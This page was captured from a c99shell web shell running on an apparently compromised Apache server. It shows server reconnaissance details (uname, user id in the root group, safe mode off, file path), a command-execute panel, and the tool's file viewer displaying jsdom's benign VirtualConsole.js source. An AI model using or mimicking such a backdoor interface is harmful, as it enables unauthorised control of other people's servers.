Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/rentals.picotech.app/public_html/node_modules/jsdom/lib/jsdom/ drwxr-xr-x | |
| Viewing file: Select action/file-type: "use strict";
const { EventEmitter } = require("events");
module.exports = class VirtualConsole extends EventEmitter {
constructor() {
super();
this.on("error", () => {
// If "error" event has no listeners,
// EventEmitter throws an exception
});
}
forwardTo(anyConsole, { jsdomErrors } = {}) {
for (const method of Object.keys(anyConsole)) {
if (typeof anyConsole[method] === "function") {
function onMethodCall(...args) {
anyConsole[method](...args);
}
this.on(method, onMethodCall);
}
}
function forward(e) {
if (e.type === "unhandled-exception") {
anyConsole.error(e.cause.stack);
} else {
anyConsole.error(e.message);
}
}
if (jsdomErrors === undefined) {
this.on("jsdomError", forward);
} else if (Array.isArray(jsdomErrors)) {
this.on("jsdomError", e => {
if (jsdomErrors.includes(e.type)) {
forward(e);
}
});
} else if (jsdomErrors !== "none") {
throw new TypeError("Invalid jsdomErrors option");
}
return this;
}
};
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0177 ]-- |